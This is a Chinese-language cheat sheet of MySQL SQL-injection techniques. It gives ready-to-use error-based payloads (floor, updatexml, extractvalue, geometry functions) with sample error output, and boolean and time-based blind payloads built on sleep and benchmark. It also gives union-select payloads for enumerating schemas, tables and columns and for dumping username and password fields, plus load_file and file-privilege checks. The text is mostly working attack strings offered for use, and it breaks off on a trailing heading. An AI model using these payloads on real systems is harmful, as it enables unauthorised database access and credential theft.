標籤:else xpath 取數 md5 poi column mysql pad where
0x00 – 報錯注入
mysql 報錯注入, 我們有時候會遇到沒有正常資料回顯的注入. 這時候就需要報錯注入來獲得我們需要的資料.
我們經常用到的有 floor(),updatexml(),extractvalue() 通過尋找資料發現還有一些函數.
由於這三個比較通用, 也就是在大部分 mysql 版本中都有, 其他的有些可能在低版本裡沒有.
floor()
語句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
mysql> select 1 and (select 1 from (select count(*),concat(version(),floor(rand
(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘5.5.401’ for key ‘group_key’
updatexml()
語句:and (updatexml(1,concat(0x3a,(select user())),1));
mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ‘:[email protected]’
ExtractValue()
和 upadtexml() 用法差不多
語句:and extractvalue(1, concat(0x5c, (select user())));
mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));
ERROR 1105 (HY000): XPATH syntax error: ‘\[email protected]’
GeometryCollection() version> MySQL4.1
MultiPoint()
Polygon()
LineString()
MultiPolygon()
MultiPoint()
MultiLineString()
這幾個是 mysql 在 4.1 版本之後引入的一系列空間擴充,使其具備了一定的空間處理能力.
語句都一樣就列舉了一個例子.
語句:AND GeometryCollection((select * from(select * from(select user())a)b));
mysql> select 1 AND GeometryCollection((select * from(select * from(select user(
))a)b));
ERROR 1367 (22007): Illegal non geometric ‘(select `b`.`user()` from (select ‘ro
[email protected]’ AS `user()` from dual) `b`)’ value found during parsing
0x01 – 盲注
盲注分為兩種
一種是普通盲注, 一種是基於時間又叫延時注入.
通過一些處理函數將我們需要擷取的資料通過猜解的方式得到的方式.
查詢資料庫AND ascii(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),1,1))=ascii碼
查詢使用者長度 And (select length(user()))=12;
查詢資料庫and ascii(substr(database(),位元,1))=ascii;
查詢使用者and 1=(if(ascii(mid(user()from(位元)for(1)))=查詢位元字元的ascii編碼,1,0));
時間盲注
其實就是普通盲注加上了 if 判斷
and if(ascii(mid(user()from(位元)for(1)))=ascii碼,sleep(3),0)
and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0);
and 1=(select case when (ascii(mid(user()from(位元)for(1)))=ascii碼) then benchmark(5*4000000,md5(1111)) else 0 end)=1
and 1=if(length(user())=長度,sleep(3),0);
aaa’XOR(if(ascii(mid(user()from(位元)for(1)))=查詢位元字元的ascii編碼,sleep(3),0))OR’bbb
and sleep(1-abs(sign(ascii(mid(lower(user())from(位元)for(1)))-ascii碼)))
沒有等於符號
每次取一個字元的 ascii 碼,與列表中的 ascii 碼逐一對比,取符號的絕對值。
如果相等,則符號是 0,絕對值是 0,會延遲。
若不等,則符號是 1 或 – 1,絕對值為 1,不延遲。
然後我們可以通過 py 指令碼來快速得到資料.
0x02 – 常用 mysql 注入語句
查詢資料庫 (mysql>5.0)
Mysql 5 以上有內建庫 information_schema,儲存著 mysql 的所有資料庫和表結構資訊
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進位) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)
猜欄位
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進位)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,使用者名稱段,5,6,7,密碼段,8,9 from 表名 limit 0,1
進階用法(一個可用欄位顯示兩個資料內容):
Union select 1,2,3concat(使用者名稱段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
system_user() 系統使用者名稱
user() 使用者名稱
current_user目前使用者名
session_user()串連資料庫的使用者名稱
database() 資料庫名
version() MYSQL 資料庫版本
load_file() MYSQL 讀取本地檔案的函數
@@datadir 讀取資料庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 作業系統 Windows Server 2003
判斷是否具有讀寫權限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*
Mysql注入方式